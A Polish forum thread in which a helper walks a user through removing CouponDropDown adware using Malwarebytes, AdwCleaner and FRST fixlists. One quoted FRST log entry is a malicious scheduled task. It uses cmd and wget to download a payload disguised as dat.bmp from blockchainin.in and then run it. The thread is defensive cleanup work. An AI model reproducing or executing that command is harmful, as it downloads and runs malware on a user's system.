CouponDropDown - wyskakujące reklamy

[qazimen]

CouponDropDown
http://img24.otofotki.pl/obrazki/gn874_zrzut.png

syf nie chce zniknąć.
Nie było go ani w dodaj usuń programy ani w żadnej przeglądarce w rozszerzeniach/dodatkach.

Malwarebytes Anti-Malware - to co znalazł i dał do kwarantanny usunąłem
http://www.wklej.eu/index.php?id=c7c1a08b3c

Adwcleanner -
http://www.wklej.eu/index.php?id=1c3606a6fc

FRST:
http://www.wklej.eu/index.php?id=eab65e2efa
http://www.wklej.eu/index.php?id=2e4c5ab4c5
http://www.wklej.eu/index.php?id=eeef1744a8

Prośba o pomoc

[mateo8898]

W AdwCleaner Odinstaluj

Odinstaluj SpyHunter (program wątpliwej reputacji)

Wklej do notatnika:

Task: {B7FF7EA3-EE2A-4B6A-9A52-4DDCB11E4B26} - \Jelbrus Secure Web Task No Task File <==== ATTENTION
Task: {0F7C6FE3-619C-41C9-911A-D87AB7AEEADC} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" &amp; ping 1.1.1.1 -n 300 -w 1000 &amp; wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=zo5XKAtZXeP1kk82CwcY;CamStuSer;1414262298 &amp; start cmd /R dat.bmp <==== ATTENTION
Task: {35096B11-6A10-47DA-9372-A1F5B6276119} - System32\Tasks\mcleaner => C:\Users\Piotrek\AppData\Roaming\6106.tmp.exe [2015-02-24] ()
C:\Users\Piotrek\AppData\Roaming\6106.tmp.exe
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [446392 2012-04-04] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [AdobeCS6ServiceManager] => C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe [1073312 2012-03-09] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [SwitchBoard] => C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe [517096 2010-02-19] (Adobe Systems Incorporated)
HKU\S-1-5-21-1474367243-482942620-250225594-1001\...\Run: [AdobeBridge] => [X]
URLSearchHook: [S-1-5-21-1474367243-482942620-250225594-1002] ATTENTION ==> Default URLSearchHook is missing.
BHO-x32: Safe Money Plugin {9E6D0D23-3D72-4A94-AE1F-2D167624E3D9} C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\IEExt\OnlineBanking\online_banking_bho.dll No File
CHR HomePage: Default hxxp://isearch.omiga-plus.com/?type=hp&ts=1421602252&from=cor&uid=SAMSUNGXHD252HJ_S17HJ90Q903536
CHR StartupUrls: Default "hxxp://isearch.omiga-plus.com/?type=hp&ts=1421602252&from=cor&uid=SAMSUNGXHD252HJ_S17HJ90Q903536"
CHR DefaultSuggestURL: Default {google:baseSuggestURL}search?{google:searchFieldtrialParameter}client={google:suggestClient}&gs_ri={google:suggestRid}&xssi=t&q={searchTerms}&{google:inputType}{google:cursorPosition}{google:currentPageUrl}{google:pageClassification}{google:searchVersion}{google:sessionToken}{google:prefetchQuery}sugkey={google:suggestAPIKeyParameter}
CHR HKLM\...\Chrome\Extension: [dbhjdbfgekjfcfkkfjjmlmojhbllhbho] - https://chrome.google.com/webstore/detail/dbhjdbfgekjfcfkkfjjmlmojhbllhbho [Not Found]
CHR HKLM-x32\...\Chrome\Extension: [dbhjdbfgekjfcfkkfjjmlmojhbllhbho] - https://chrome.google.com/webstore/detail/dbhjdbfgekjfcfkkfjjmlmojhbllhbho [Not Found]
S2 gupdate; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc [X]
S3 gupdatem; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc [X]
U4 klkbdflt2; \SystemRoot\system32\DRIVERS\klkbdflt2.sys [X]
2015-02-24 19:28 - 2015-02-24 19:29 - 0851968 _____ () C:\Users\Piotrek\AppData\Roaming\6106.tmp.exe
R2 Live Malware Protection; C:\Windows\mlwps.exe [239104 2015-02-24] (AV Security Software) [File not signed]
C:\Windows\mlwps.exe
EmptyTemp:

Plik zapisujesz pod nazwą fixlist.txt i umieszczasz obok FRST. Uruchom FRST i kliknij w nim Fix. Powstanie plik fixlog.txt, który podajesz na forum.
Następnie podaj nowe logi z FRST.

[qazimen]

http://wklej.eu/index.php?id=6a845a4292

dalej reklamy wyświetlają się niestety

http://wklej.eu/index.php?id=e7feb275e9
http://wklej.eu/index.php?id=5856e5032f
http://wklej.eu/index.php?id=9e922b87dc

[mateo8898]

A czy te reklamy pojawiają się tylko w Firefoksie, czy także w innych przeglądarkach?

[qazimen]

we wszystkich
Chrome w ogóle się nie włącza po tym jak Malwarebytes Anti-Malware usunął to co znalazł

[mateo8898]

Wklej do notatnika:

Task: {B7FF7EA3-EE2A-4B6A-9A52-4DDCB11E4B26} - \Jelbrus Secure Web Task No Task File <==== ATTENTION
2015-02-24 19:28 - 2015-02-24 19:28 - 0000000 _____ () C:\Users\Piotrek\AppData\Roaming\6106.tmp
U4 klkbdflt2; \SystemRoot\system32\DRIVERS\klkbdflt2.sys [X]

Plik zapisujesz pod nazwą fixlist.txt i umieszczasz obok FRST. Uruchom FRST i kliknij w nim Fix. Powstanie plik fixlog.txt, który podajesz na forum.
Następnie podaj nowe logi z FRST.

Zresetuj Firefoksa (Firefox Pomoc Informacje dla Pomocy technicznej Zresetuj program Firefox)

[qazimen]

http://wklej.eu/index.php?id=187ccd9598

http://wklej.eu/index.php?id=4066f925bc
http://wklej.eu/index.php?id=13a514fa7b

nie pomogło

[mateo8898]

W logach nic więcej nie widać. W takim razie odinstaluj Firefoksa i Chrome, ale za pomocą Revo https://www.instalki.pl/download/programy/windows/narzedzia/narzedzia-systemowe/revo-uninstaller/ w trybie zaawansowanym (usuń wszystkie znalezione przez program pozostałości) i dopiero zainstaluj ponownie.